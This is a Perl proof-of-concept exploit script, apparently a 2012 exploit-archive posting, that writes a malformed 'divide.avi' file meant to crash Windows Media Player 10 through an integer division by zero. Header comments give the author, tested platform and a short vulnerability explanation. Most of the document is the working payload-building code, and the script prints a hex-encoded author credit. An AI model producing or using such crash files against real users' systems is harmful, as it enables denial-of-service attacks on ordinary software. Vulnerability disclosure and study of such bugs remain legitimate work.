1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 |
#!/usr/bin/perl # Souhail Hammou - Independant Security Researcher & Penetration Tester . # Facebook : www.facebook.com/dark.puzzle.sec # E-mail : dark-puzzle@live.fr # Greetings to all moroccan researchers and white hats . # Title: Windows Media Player 10 - .avi Integer Division By Zero Vulnerability # Author : Dark-Puzzle (Souhail Hammou) # Type : DoS/PoC # Risk : Medium # Vendor : Microsoft # Versions : 10 Other Version May Be Vulnerable . # Tested On : Windows XP SP2 . # Date : 13 October 2012 # ---------------------------------------------------------- # # Vulnerability Details : # Division By zero Vulnerability in Microsoft Windows Media Player Consists to divide the value of a register by Zero . # In this case it is the ECX register executing a command DIV ECX as well known. # This will cause an Integer division by Zero --> Exception Can't be Handled --> CRASH . # Tested Just On Version "10" Might be working on other Versions . # POC : my $m = "MThd"; my $div = "\x00\x00\x00\x06\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00". "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00". "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00". "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00". "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00". "\x00\x00\x00\x00\xff\xff\x00\xff\x00\x00\x00\x00\x00\x00". "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00". "\x00\x00\x06\x00\x00\x00\x66\x66\x66\x00\x00\x00\x00\x00". "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00". "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00". "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00". "\x00\x00\x00\x00\x00\x00\xff\xff\xff\x00\x00\x00\x00\x00"; open(myfile,'>divide.avi'); print myfile $m.$div; close(myfile); print "Windows Media Player 10 - .avi Integer Division By Zero Vulnerability\n"; print "\x44\x69\x73\x63\x6F\x76\x65\x72\x65\x64\x20\x26\x20\x50\x6F\x43\x20\x42\x79\x20\x44\x61\x72\x6B\x2D\x50\x75\x7A\x7A\x6C\x65\n"; print "Creating File Please Wait\n"; sleep 5; |